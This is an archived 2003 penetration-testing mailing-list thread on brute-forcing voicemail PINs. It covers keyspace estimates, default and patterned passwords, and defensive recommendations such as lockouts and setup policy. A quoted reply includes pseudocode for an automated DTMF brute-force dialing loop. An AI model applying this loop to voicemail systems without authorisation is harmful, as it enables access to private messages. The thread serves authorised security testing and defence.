From: Stephan Barnes (stephan.barnes@foundstone.com)
Date: Wed Jun 04 2003 - 09:21:30 EDT
Pen Testers - For those interested in the Voicemail Testing thread -
read on - else hit the pound key # now to log out :)
What Alexandre points out is exactly the type of general technique I
have discussed on my website www.m4phr1k.com or at
http://home.mminternet.com/~barneshouse/Voicemail.htm and in Hacking
Exposed Editions 2-4 when it comes to the possibilities of automating
this type of hacking by capturing the response and analyzing the
response. For those pen testers that have been asked and tasked to do
Voicemail Testing and that are generally under deadlines of cost, time,
budget, etc... one of the key variables to consider is how much keyspace
you may have to search. I'm sure there are still a few 4 digit
voicemail systems out there but I believe that many systems these days
require at least 6-8 digits as a minimum password length. Calculate out
the key space search for 6, 7, or 8 digits and the problem and time just
got exponentially greater and it becomes a daunting and long task
especially if you only have one dialing mechanism.
Hence let me offer some humble opinions on the actual process part and
discussion on the recommendation. This is a group still (I hope) where
we do discuss approaches techniques and recommendations :)
If you do proceed on to actually do the testing, instead of trying to do
a full keyspace search my suggestion is to use password sampling and
patterns. I have examples in the voicemail hacking section (Hacking
Exposed book or M4phr1k website) of patterns. Why? Because
realistically as a legit pen tester you are probably going to focus on
the recommendation quickly after the testing, since testing produces a
result, and the result will produce a recommendation, and most times I
think our customers are paying us for the recommendations in the end.
Read on. Given enough time (for the dialing of the entire key-space
search) and enough resources (multiply the dialing mechanisms) coupled
with the fact that voicemail passwords are generally comprised only of
digits 0-9, there is a finite possibility to solving for the keyspace.
Caveats apply once you start trying to brute force entire keyspaces of
5-8 digits though. Once again these big math problems can be solved
with resources (if you really want to go there).
Having done this type of testing before what one generally finds are two
domains of compromised boxes (1) those compromised by default passwords
and (2) those compromised by brute force methods. Probably half to two
thirds or more of the voicemail boxes will come up through simple
password testing of say 50-100 passwords (a sample point) and those
passwords found are usually for vmboxes that generally have not been set
up properly by the new owner and are still in the initial default setup
stage. Finding this result from a test reveals a SYSTEMIC problem and
issue; lack of policy and procedure governing issuance and set up of new
voicemail boxes is not being followed by either the vmbox admin or by
the employees/users of the vmbox system. Recommendations vary, but in
general, manual or automated controls should be followed or put in place
to help ensure that the new owner has taken ownership of the vmbox. I'm
sure there are many fun stories for those who have found vmboxes in this
stage. Hence if the default password is 12345678 or 11111111 (or some
simple combo or pattern) we've seen that this instance can be a large
culprit of the problem - once again a SYSTEMIC issue.
Now the other domain is compromising the vmbox through the passwords
that you legitimately brute forced by using some type of process. They
could also fall to this simple pattern method - you just never know.
This population of legit set up vmboxes that were brute forced is
usually the smaller population. Lets discuss the recommendation though
for those that are pen-testers. What is the answer here? You ran the
test, (it took some time), you got the result, but the recommendation is
not as easy of a recommendation because the victim did have a password
(did what they were supposed to), but you were able to guess it. One of
the possible recommendations is setting up a control on the vmbox system
that locks a vmbox after a certain amount of failed attempts and either
have the lockout time reset after a certain amount of time or that the
vmbox user has to call a number (identify themselves in some fashion
that helps to ensure legitimacy) and then have the vmbox admin reset the
password. This simple control and recommendation should thwart of most
of us - uh - inquisitive types :) that might be trying to brute force a
mail box. There are others but essentially this is a human problem and
in the end education of the risks and associated controls to the humans
that use voicemail is also a good defense.
I have some suggestions at the end of the voicemail hacking section on
my site for recommendations, which, if you have read this far, you "may"
want to discuss up front with your customer because my main point here
(even though I've done this type of testing) is that we probably all
should be focused in on the recommendation with this type of technology
(vm boxes) This problem is not one of uber hacker theory - it is
possible to do, so moving onto the recommendation first with your
customer will probably do volumes for you with your relationship with
your customer. If after all that your customer still wants to proceed
"just to see" your vm hacking Kung Fu then happy hacking and testing. I
have plenty of low tech approaches script examples etc at the M4phr1k
site.
Stephan "M4phr1k" Barnes of Foundstone
War-Dialing, PBX, or Voicemail Security?
Check out my personal website:
http://www.m4phr1k.com
-----Original Message-----
From: Alexandre Bezroutchko [mailto:pentest7@scanit.be]
Sent: Tuesday, June 03, 2003 6:15 AM
To: pen-test@securityfocus.com
Subject: Re: Tools for voicemail testing?
Hi,
I have some custom tools (hardware and software) I use in voice-mail
audits. It allows
to automate pretty much any dialogue with voice mail systems. You
capture audio samples
from the target voice mail system and then write a Perl script using
external library which
implements function such as audio pattern recognition.
For example, algorithms similar to one below (I do not have access to
the original veresion
right now) was tested on several voice mail systems and gave very
impressive results -- full
keyspace search (4 digits) in 15 hours. Apparently, it is much faster
than most people think
is possible ;).
---------------------------------------------------------------------
for(;;) {
hangup
dial $voicemail_number
wait_for "voicemail_prompt.pat"
send dmtf "*"
for(;;) {
$pin = get_new_pin_from_dictionary()
wait for "enter_your_pin_code.pat"
send dtmf $pin
$answer = wait for "invalid_pin.pat", "hangup.pat"
last if $answer eq "hangup.pat"
next if $answer eq "invalid_pin.pat"
print "Suspicious pin code '$pin\n"
last;
}
}
---------------------------------------------------------------------
Similar techniques can be used to automatically traverse through voice
mail menu tree, sending strange sequences of DTMF (or some other) tones
to the system and analyse responce.
I have developed it for in-house use. We do not give it away for free,
but it is not a commercial-grade
software either. If you are interested, contact me and we can discuss
licensing terms.
-- Alexandre Bezroutchko Scanit n.v., Belgium http://www.scanit.be/ -------- Original Message -------- Subject: Tools for voicemail testing? Date: Sun, 1 Jun 2003 23:26:56 -0700 (PDT) From: "Todd A. Jacobs" <tjacobs-keyword-ptest01.f946df@codegnome.org> To: pen-test@securityfocus.com I've been Googling for about four hours tonight, and haven't been able to turn up any current tools for performing brute-force attacks on voicemail boxes. Does anyone know of any FOSS or commercial tools for performing this sort of test? -- The DMCA is anti-consumer. The RIAA has no right to rewrite copyright laws to suit themselves. ------------------------------------------------------------------------ --- ------------------------------------------------------------------------ ---- --------------------------------------------------------------------------- ----------------------------------------------------------------------------
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:34 EDT